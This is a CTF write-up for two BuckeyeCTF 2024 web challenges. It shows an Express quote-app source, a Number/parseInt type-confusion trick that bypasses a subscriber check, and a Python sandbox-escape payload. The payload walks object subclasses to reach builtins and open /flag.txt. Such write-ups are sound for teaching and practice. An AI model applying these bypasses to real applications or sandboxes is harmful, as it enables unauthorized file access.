BuckeyeCTF 2024 | Homecooked & Quotes (Web)

Difficulty : Medium

Quotes :

This task consists of an express js app.

App.js :

import express from "express";
import jwt from "jsonwebtoken";
import path from "path";
import fs from "fs";

const SECRET_KEY = process.env.SECRET_KEY || "secret";
const COOKIE_NAME = "quotes-auth";

const FREE_TIER_QUOTE_LIMIT = 5;

const app = express();

app.get("/quote", (req, res) => {
  const { id, random } = req.query;
  const { cookie } = req.headers;

  if (!cookie) {
    res.status(401);
    res.send({ error: "Not authenticated" });
    return;
  }

  const cookies = cookie.split(";").reduce((acc, cookie) => {
    const [key, value] = cookie.split("=").map((c) => c.trim());
    acc[key] = value;
    return acc;
  }, {});

  const cookieToken = cookies[COOKIE_NAME];

  if (!cookieToken) {
    res.status(401);
    res.send({ error: "Not authenticated" });
    return;
  }

  let decoded;
  try {
    decoded = jwt.verify(cookieToken, SECRET_KEY);
  } catch (e) {
    res.status(403);
    res.send({ error: "Invalid token" });
    return;
  }

  const filepath = path.resolve("./quotes");
  const quotes = fs.readFileSync(filepath, "utf-8").split("\n");

  if (random && random === "true") {
    const i = Math.floor(Math.random() * FREE_TIER_QUOTE_LIMIT);

    if (!decoded.subscribed && i >= FREE_TIER_QUOTE_LIMIT) {
      res.status(500);
      res.send({ error: "Not a paying subscriber" });
      return;
    }

    const quote = quotes[i];

    res.status(200);
    res.send({ quote, id: i });
    return;
  }

  if (id) {
    const i = Number(id);

    if (!decoded.subscribed && i >= FREE_TIER_QUOTE_LIMIT) {
      res.status(500);
      res.send({ error: "Not a paying subscriber" });
      return;
    }

    if (i < 0 || i >= quotes.length) {
      res.status(500);
      res.send({ error: "Invalid quote ID" });
      return;
    }

    const quote = quotes[parseInt(i)];

    res.status(200);
    res.send({ quote, id: i });
    return;
  }

  res.status(500);
  res.send({ error: "Unable to get quote" });
});

app.get("/register", (req, res) => {
  const token = jwt.sign(
    {
      subscribed: false,
    },
    SECRET_KEY,
    { expiresIn: "1h" }
  );

  res.cookie(COOKIE_NAME, token, {
    httpOnly: true,
    secure: true,
    maxAge: 3600000,
  });
  res.status(200);
  res.send({ message: "Signed in!" });
});

app.listen(process.env.PORT || 3000);

Quotes :

If you know the enemy, and know yourself, you need not fear the result of a hundred battles. - Sun Tzu, The Art of War
The opportunity of defeating the enemy is provided by the enemy himself. - Sun Tzu, The Art of War
Be extremely subtle, even to the point of formlessness. - Sun Tzu, The Art of War
Whatever you do, don't reveal all your techniques in a YouTube video, you fool, you moron. - Sun Tzu, The Art of War
Let your plans be dark and impenetrable as night, and when you move, fall like a thunderbolt. - Sun Tzu, The Art of War
All war is deception - Sun Tzu, The Art of War
All men can see the tactics whereby I conquer, but what none can see is the strategy out of which victory is evolved. - Sun Tzu, The Art of War
bctf{fake_flag}

Out objective here is to try to get the 7th quote, but since it is restricted for us we need some way to bypass at least one of the two conditions. Hacking the JWT is impossible so we need to find a way to bypass the subscriber limit.

Our ID is converted into a number and then parsed into int, since Javascript is a mess of a programming language we can exploit the loose typing.

you can see on the console test that the function Number will take a small string number 0.(n*0)N as N*exp(-n), this can be exploited as when it is parsed it only takes N rather than 0. the n amount of zeros after the "." needs to be more than 7 for this to work.

Homecooked :

This is a somewhat hard task to understand, you can download the code from here.

This challenge consists of a sandbox that runs a variation of python that uses emojis for certain parts.

Since we need to run a function we would need to read the gammar.

.
.
eval.1: "πŸ₯’" expression "πŸ₯’"
.
.
.
?atom_expr: atom_expr "πŸ¦€" [arguments] "🦞" -> funccall
            | atom_expr "🍎" subscript_list "🍏" -> getitem
            | atom_expr "πŸ₯š" name -> getattr
            | atom
                    
    ?atom: "🍎" _exprlist? "🍏" -> list
        | "πŸ¦€" test "🦞"
        | name -> var
        | number 
        | string
        | true 
        | false 
        | none

Skipping the useless parts we can see that to run code we need to put it between πŸ₯’πŸ₯’ and functions need to be run with πŸ¦€πŸ¦ž, accessing attributes will be done with πŸ₯š and for arrays with 🍎🍏.

self.builtins = {
            'range': range,
            'len': len,
            'max': max,
            'min': min,
            'sum': sum,
            'abs': abs,
            'round': round,
            'ord': ord,
            'chr': chr,
            'hex': hex,
            'oct': oct,
            'bin': bin,
            'int': int,
            'float': float,
            'complex': complex
        }

these are the only python functions that can be passed to our sandbox.

so now we start making our payload.

Most of Builtins in here are hidden or removed, thankfully we can use FileLoader.

With it we can now access all of pythons functions and then we perform a read on the flag file.

our payload was :

πŸ₯’maxπŸ₯š__class__πŸ₯š__bases__🍎0🍏πŸ₯š__subclasses__πŸ¦€ 🦞🍎137🍏πŸ₯š__init__πŸ₯š__globals__🍎__builtins__🍏🍎openπŸπŸ¦€ "/flag.txt"🦞πŸ₯šreadπŸ¦€ 🦞πŸ₯’

translated to normal python syntax would be :

max.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__.get("open")( "/flag.txt").read()

Last updated